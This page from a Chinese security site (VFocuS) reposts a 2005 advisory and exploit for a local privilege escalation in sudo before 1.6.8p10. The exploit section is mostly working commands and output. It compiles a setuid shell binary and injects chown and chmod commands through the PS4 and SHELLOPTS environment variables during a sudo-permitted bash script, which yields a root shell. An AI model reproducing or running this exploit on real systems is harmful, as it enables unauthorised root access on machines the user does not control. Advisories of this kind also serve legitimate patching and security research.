首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
sudo Local Privilege Escalation
来源:breno@kalangolinux.org 作者:breno 发布时间:2005-11-21  

sudo Local Privilege Escalation


Summary
sudo (superuser do) is a program in Unix, Linux, and similar operating systems such as Mac OS X that allows users to run programs in the guise of another user (normally in the guise of the system's superuser).

sudo has been found to be vulnerable to local privilege escalation vulnerability that allows local attackers to gain elevated privileges.

Credit:
The information has been provided by breno.

Details
Vulnerable Systems:
* sudo versions prior to 1.6.8p10

Immune Systems:
* sudo version 1.6.8p10

Exploiting:
## Sudo local root escalation privilege ##
## vuln versions : sudo < 1.6.8p10
## by breno

## You need sudo access execution for some bash script ##
## Use csh shell to change SHELLOPTS env ##

ie:
%cat x.sh
#!/bin/bash -x

echo "Getting root!!"
%
##

##
# cat /etc/sudoers
...
breno ALL=(ALL) /home/breno/x.sh
..
#

## Let's use an egg shell :)
%cat egg.c

#include <stdio.h>

int main()
{
setuid(0);
system("/bin/sh");
}
%

% gcc -o egg egg.c
% setenv SHELLOPTS xtrace
% setenv PS4 '$(chown root:root egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ls -lisa egg
1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 egg
% setenv PS4 '$(chmod +s egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ./egg
sh-3.00# id
uid=0(root) gid=1000(breno) egid=0(root) grupos=7(lp),102(lpadmin),1000(breno)
sh-3.00#



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Google Mini Search Appliance P
·FreeBSD sendfile Kernel Inform
·MailEnable IMAPd W3C Logging F
·Microsoft Internet Explorer Wi
·freeFTPd <= 1.0.8 USER Comm
·Mambo mosConfig_absolute_path
·Macromedia Flash Player Flash.
·Cisco PIX Spoofed TCP SYN Pack
·freeFTPd <= 1.0.8 USER Comm
·Microsoft Windows Distributed
·PHP-Nuke Search Module query P
·FreeFTPd DoS (PORT, Exploit)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved